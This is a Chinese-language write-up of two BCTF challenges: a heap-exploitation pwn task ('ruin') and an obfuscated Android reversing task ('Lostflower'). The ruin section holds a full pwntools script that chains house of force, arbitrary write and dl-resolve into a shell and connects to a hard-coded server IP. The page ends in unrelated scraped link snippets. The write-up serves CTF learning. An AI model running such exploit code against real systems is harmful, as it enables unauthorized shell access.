Pwn-ruin

用几个词来概括下漏洞原理:Arm+heap overflow(house of force)+dl-resolve

Info leak:

在printf key8时,泄漏堆上地址(secret里放的是堆上地址)。

增大top chunk的大小

可以保证下一次malloc时,申请到任意地址内存

申请内存,覆盖secret, name, key16

使得内存结构为:

Addr                                    data

00010FB4(addr of secret)                pointer to name(00010fb8)

00010fb8(addr of name)

00010fbc(addr of key16)

这样的话,可以通过editsecret覆盖key16为任意值,最后通过updatekey16实现任意内存写。

利用dl-resolve的原理,将got中atoi的改为地址未解析前的数值,然后在堆上构造fake string table,并将dynamic段中的字符串表地址改为fake string table的地址。这个fake string table里'atoi'被修改为了'system',所以在下一次进行地址解析的时候,将会解析到system的地址,所以下一次调用到atoi时候,将会调用到system。顺利拿到shell。

 from pwn import *
import time
#by wah
#context.log_level = 'debug'
#s = remote('127.0.0.1', 10001)
s = remote('166.111.132.49', 9999)
'''
time.sleep(1)
print 'ruin pid is %d' % pwnlib.util.proc.pidof('ruin')[0]
'''
raw_input('go!') s.recvuntil('please input your 8-bit key:')
s.send('')
heap = s.recvuntil(' ')[8:-1]
heapaddr = u32(heap.ljust(4,'\x00'))
topaddr = heapaddr + 0x8
print 'heap addr is ' + str(heapaddr)
print 'top chunk addr is ' + str(topaddr) s.recvuntil('please input your 8-bit key:')
s.send('security')
s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
s.sendline('a'*8 + p32(0) + '\xff\xff\xff\xff') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
s.sendline('') namelen = 0x10fa8 + 0x100000000 - 8 - topaddr
namelen = 0xffffffff^namelen+1
s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your name length:')
s.sendline('-' + str(namelen))
s.recvuntil('enter your name:')
#s.sendline('namename') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
#s.send(p32(0x00008594)*4)
s.send('a'*4 + p32(0x10fb8) + p32(0x10fb4)*2) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x200
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('\x00libc.so.6\x00exit\x00')
s.send('\x00libc.so.6\x00exit\x00') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x210
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('strncmp\x00puts\x00__s')
s.send('strncmp\x00puts\x00__s') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x220
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('tack_chk_fail\x00ab')
s.send('tack_chk_fail\x00ab')#ort\x00 s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x230
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('ort\x00stdin\x00printf')
s.send('ort\x00stdin\x00printf')# s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x240
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('\x00fgets\x00stdout\x00ma')
s.send('\x00fgets\x00stdout\x00ma')# s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x250
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('lloc\x00fread\x00syste')
s.send('lloc\x00fread\x00syste')# s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x260
s.sendline(2*p32(strtabaddr)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len('m\x00setbuf\x00__libc_')
s.send('m\x00setbuf\x00__libc_') s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
dynamic = 0x10ea0+4
s.sendline(2*p32(dynamic)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
s.send(p32(heapaddr + 0x200) + p32(6) + p32(0x00008294) + p32(0x0000000a)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('please input your secret:')
atoigot = 0x00010F80
s.sendline(2*p32(atoigot)) s.recvuntil('Give me your choice(1-4):')
s.sendline('')
s.recvuntil('enter the new 16-bit key:')
print len(4*p32(0x8574))
s.send(4*p32(0x8574)) s.recvuntil('Give me your choice(1-4):')
s.sendline('/bin/sh;')
s.interactive()

Lostflower

Android的逆向,代码经过了llvm分支混淆,简直不能看,突然想起来在ISG2015的时候,也遇到这样一个题,不过比这个简单不少,但是明白了一点:把握住关键函数就可以。

猜测让v13等于就可以,就是猜的!

进入check1,在my_pow()处下断点,进行观察函数功能。

在sub_1aa4处下断点,观察函数功能。

猜测让v11<0就可以,就是猜的!

调试过程中,发现my_pow做的是数的10次方,一共调用了10次my_pow后,断在sub_1aa4处,经过多次测试,sub_1aa4求的是绝对值。10次my_pow做的是将输入数字的每一位进行10次方后进行求和,减去数字本身后,最后传入到sub_1aa4。32位数的范围是-2^32到2^31-1,那么如果传入sub_1aa4的是-2^32,那么返回值是0x80000000,那么会被当作负数。

好了,思路理清楚后,就准备爆破(长度为10数字),调试的时候发现,如果输入的数字大于0x7fffffff,都会以0x7fffffff处理,所以搜索的空间大大减小。写了一个小程序,大概1分钟出结果。

Bctf-pwn_ruin-re_lastflower的更多相关文章

  1. BCTF warmup 50

    这是一道关于RSA的解密题:首先,我们要明白,通常是公钥加密.私钥解密,私钥签名.公钥验证.这个题目中给出的是一个公钥和一段密文. 刚开始一直以为和验证签名有关,费劲脑汁也想不出来怎么办.下面介绍些思 ...

  2. BCTF Web Code–考脑洞,你能过么?

    BCTF Web Code–考脑洞,你能过么? 1)打开链接,是一张图片 根据URL特点推断可能是有文件包含漏洞 2) 将jpg参数修改成index.php,查看源代码,发现base64编码后的代码 ...

  3. BCTF赛后

    今天早上八点,BTCF第一届落幕.虽然没有熬夜coding但还是十分开心. 从收到超哥的邀请,到回头组队,一开始的十几人,最后演化为五人的精简小分队,到昨晚把所有有想法的题目全部搞定,十分的开心和欣慰 ...

  4. 小情人emacs的自动补全

    前天打字的时候发现手指疼-..OTL-思考了一下可能是我近几个月以来一直在使用全部手敲代码不使用自动补全的"恶果"(当然我还是建议全部手敲的,至少可以感觉到强烈的屌丝满足感). 先 ...

  5. 实战经验|大神战队都在i春秋教你打CTF

    全国大学生信息安全竞赛创新实践能力赛旨在培养.选拔.推荐优秀信息安全专业人才创造条件,促进高等学校信息安全专业课程体系.教学内容和方法的改革,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学 ...

  6. (笔记)CTF入门指南

    [考项分类] Web: 网页安全 Crypto: 密码学(凯撒密码等) PWN: 对程序逻辑分析 系统漏洞利用 Misc: 杂项 图片隐写 数据还原 脑洞类 信息安全有关的 Reverse: 逆向工程 ...

  7. ddctf2019--web部分writeup

    0x00前言 上周五开始的DDCTF 2019,整个比赛有一周,题目整体来说感觉很不错,可惜我太菜了,做了4+1道题,还是要努力吧 0x01 web 滴~ 打开看着url,就像文件包含 文件名1次he ...

  8. 实验吧web解题记录

    自以为sql注入掌握的还是比较系统的,然而,做了这些题之后才发现,大千世界无奇不有,真是各种猥琐的思路...还是要多学习学习姿势跟上节奏 登录一下好吗?? http://ctf5.shiyanbar. ...

  9. [DEFCON全球黑客大会] CTF(Capture The Flag)

    copy : https://baike.baidu.com/item/ctf/9548546?fr=aladdin CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的 ...

  10. Attack Top Chunk之 bcloud

    前言 这是 bctf 2016 的题,链接 https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-20 ...

随机推荐

  1. UGUI Text控件

    学习UGUI的Text控件,用于显示文本!.  基本属性就不再啰嗦了! Alignment: 文字以 水平和垂直 对齐方式, Horizontal Overflow: 水平 Wrap: 文字大小和数量 ...

  2. UILabel Text 加下划线

    .h文件 #import <Foundation/Foundation.h> @interface CustomLabel : UILabel { BOOL _isEnabled; } @ ...

  3. 修改linux共享内存大小

    这是实际linux系统显示的实际数据: beijibing@bjb-desktop:/proc/sys/kernel$ cat shmmax  33554432 beijibing@bjb-deskt ...

  4. php array相关函数个人小结

    1.array_chunk() 把一个数组分割为新的数组块. 其中每个数组的单元数目由 size 参数决定.最后一个数组的单元数目可能会少几个. 例子   <?php $a=array(&quo ...

  5. ZendStudio快捷键 注释的快捷键

    注:本文省略“通用快捷键”描述,诸如:ctrl+N=新建,ctrl+O=打开,ctrl+C=复制,ctrl+V,ctrl+X……等等几乎所有软件都通用的一组快捷键,而着重介绍zde独有的快捷键,了解并 ...

  6. CSS清除浮动的方法

    CSS清除浮动的方法有哪些呢?经常性地会使用到float,很多邪门的事儿都有可能是浮动在作怪,清除浮动是必须要做的,而且随时性地对父级元素清除浮动的做法也被认为是书写CSS的良好习惯之一.下面看今天的 ...

  7. OC——NSArray和NSMutableArray

    /*---------------------NSArray---------------------------*/ //创建数组 NSArray *array1 = [NSArray arrayW ...

  8. c# 调用EXCEL在VS上能正常运行,部署在IIS上不能实现,在VS中运行页面和发布之后在IIS中运行的区别

    发现一篇文章,很好,解决了这个问题:感谢原博主!特此做个笔记. 地址:http://www.cnblogs.com/zhongxinWang/p/3275154.html 发布在IIS上的Web程序, ...

  9. Marineking wilyin

    A - Marineking wilyin Time Limit: 3000/1000MS (Java/Others)     Memory Limit: 65535/65535KB (Java/Ot ...

  10. Android进程

    android进程等级 1.前台进程 2.可视进程 3.服务进程 4.后台进程 5.空进程 让应用退出方式 finish();让应用成为空进程 Process.killProcess();杀进程 sy ...